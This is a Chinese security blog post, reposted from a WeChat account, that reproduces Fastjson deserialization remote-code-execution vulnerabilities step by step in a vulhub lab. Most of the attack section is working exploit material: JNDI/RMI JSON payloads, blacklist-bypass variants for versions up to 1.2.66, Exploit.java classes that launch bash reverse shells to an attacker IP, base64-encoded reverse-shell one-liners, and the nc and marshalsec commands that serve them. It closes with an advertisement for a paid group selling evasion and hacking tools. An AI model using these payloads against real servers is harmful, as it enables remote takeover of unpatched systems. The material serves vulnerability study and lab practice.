【漏洞复现】Fastjson系列

admin 2023年3月7日08:24:07评论22 views字数 5709阅读19分1秒阅读模式

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

一、Fastjson概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

二、历史漏洞


Fastjson <=1.2.24反序列化远程命令执行漏洞Fastjson <=1.2.41反序列化远程命令执行漏洞Fastjson <=1.2.42反序列化远程命令执行漏洞Fastjson <=1.2.43反序列化远程命令执行漏洞Fastjson <=1.2.45反序列化远程命令执行漏洞Fastjson <=1.2.47反序列化远程命令执行漏洞Fastjson <=1.2.62反序列化远程命令执行漏洞Fastjson <=1.2.66反序列化远程命令执行漏洞


三、漏洞介绍

fastjson在解析json的过程中,支持使用auto Type来实例化某个具体的类,并调用该类的set/get方法来访问属性,通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson于1.2.24版本后增加了反序列化的白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

四、Fastjson特征识别

1、第一种识别方法-json格式包

json学习链接:https://www.runoob.com/json/json-tutorial.html

{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
]
}

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了Fastjson。

【漏洞复现】Fastjson系列

2、第二种识别方法-报错处理

1、我们抓到包以后,首先将包改为POST。

【漏洞复现】Fastjson系列

2、这时候,我们需要改两处字段。

【漏洞复现】Fastjson系列

  • Content-Type: application/xxxx原本的字段改为Content-Type: application/json

  • 后面空一格,加上。

{
"name":"1"
}

3、然后,我们删除json格式包的一半,使其报错。

{
"name":"1

【漏洞复现】Fastjson系列

报错之后,很明显响应包里面出现了alibaba.fastjson的错误信息。

3、第三种识别方式-DNSlog

1、java.net.InetAddress这个类在实例化时会尝试作对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。

2、获取dnslog地址:http://dnslog.cn/

【漏洞复现】Fastjson系列

3、将地址复制到json包相应的位置。

{
"name":{
"@type":"java.net.InetAddress",
"val":"i1q73g.dnslog.cn"
}
}

【漏洞复现】Fastjson系列

进行发包。

4、DNSlog顺利回显。

【漏洞复现】Fastjson系列

五、Fastjson1.2.47命令执行漏洞复现

1、JNDI

1、JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下名称/目录服务:

RMI(Java远程方法调用)LDAP(轻量级目录访问协议)CORBA(公共对象请求代理体系结构)DNS(域名服务)

2、JNDI注入+RMI

1、RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机运行的程序可以调用远程服务器的对象。

3、环境搭建

1、这里我们使用的是vulhub靶场。


cd 1.2.47-rce/docker-compose up -ddocker-compose config


【漏洞复现】Fastjson系列

2、接着我们访问漏洞页面:http://192.168.111.133:8090/


【漏洞复现】Fastjson系列

环境启动成功。

4、第一种复现

1、靶机IP:192.168.111.133

    攻击机IP:192.168.111.129

2、下载利用工具。

下载链接:git clone https://github.com/wyzxxz/fastjson_rce_tool.git

3、利用工具启动RMI server


java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"


如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。

4、反弹shell命令。

bash -i >& /dev/tcp/192.168.111.129/6666 0>&1

我们进行base64编码:http://www.jsons.cn/base64/

【漏洞复现】Fastjson系列

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5、然后放入payload中执行。

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

【漏洞复现】Fastjson系列

利用JNDI注入加载远程RMI server上的字节码。

6、生成字节码文件步骤如下:

Exploit.java

//javac Exploit.javaimport java.lang.Runtime;import java.lang.Process;
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;& /dev/tcp/192.168.111.129/6666 0&gt;&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); }}

7、对Exploit.java文件进行编译。

javac Exploit.java

【漏洞复现】Fastjson系列

8、我们在攻击机开启监听。

nc -lvvp 6666

【漏洞复现】Fastjson系列

9、我们在Burp中复制payload,进行发包。

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Object",
"autoCommit":true
}
}

【漏洞复现】Fastjson系列

10、成功得到shell。

【漏洞复现】Fastjson系列

注意,重新获得shell的话,需要删除.class文件,重新生成。

5、第二种复现

1、工具下载:https://github.com/mbechler/marshalsec

2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。

maven打包项目成jar包:

mvn clean package -DskipTests

2、攻击机开启RMI Server。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999


3、编写漏洞利用脚本Exploit.java。

//javac Exploit.javapublic class Exploit{    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}


【漏洞复现】Fastjson系列

4、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。


[python2]python2 -m SimpleHTTPServer[python3]python3 -m http.server


5、攻击机开启2333端口监听,等待靶机将shell送上来。

nc -lvvp 2333

【漏洞复现】Fastjson系列

6、Burp攻击靶机。

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

【漏洞复现】Fastjson系列

7、得到shell。

【漏洞复现】Fastjson系列

六、Fastjson历史漏洞

1、Fastjson < 1.2.41

第一个Fastjson反序列化漏洞爆出以后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的。

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头,以";"结尾,是的话就提取出其中的类名在加载进来。

那么就可以构造如下exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true

2、Fastjson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单验证的方法,但是没有考虑到双写或者多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}

3、Fastjson < 1.2.47

在1.2.47版本及以下的情况下,loadClass默认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}

4、Fastjson < 1.2.66

基于黑名单绕过,autoTypeSupport属性true才能使用,在1.2.25版本之后,autoTypeSupport默认为false。

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}



付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

【漏洞复现】Fastjson系列

进成员内部群


【漏洞复现】Fastjson系列



【漏洞复现】Fastjson系列

星球的最近主题和星球内部工具一些展示


【漏洞复现】Fastjson系列


【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列

【漏洞复现】Fastjson系列



关 注 有 礼



关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

【漏洞复现】Fastjson系列 还在等什么?赶紧点击下方名片关注学习吧!【漏洞复现】Fastjson系列


【漏洞复现】Fastjson系列



群聊 | 技术交流群-群除我佬


干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):【漏洞复现】Fastjson系列

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月7日08:24:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【漏洞复现】Fastjson系列 https://cn-sec.com/archives/1590553.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: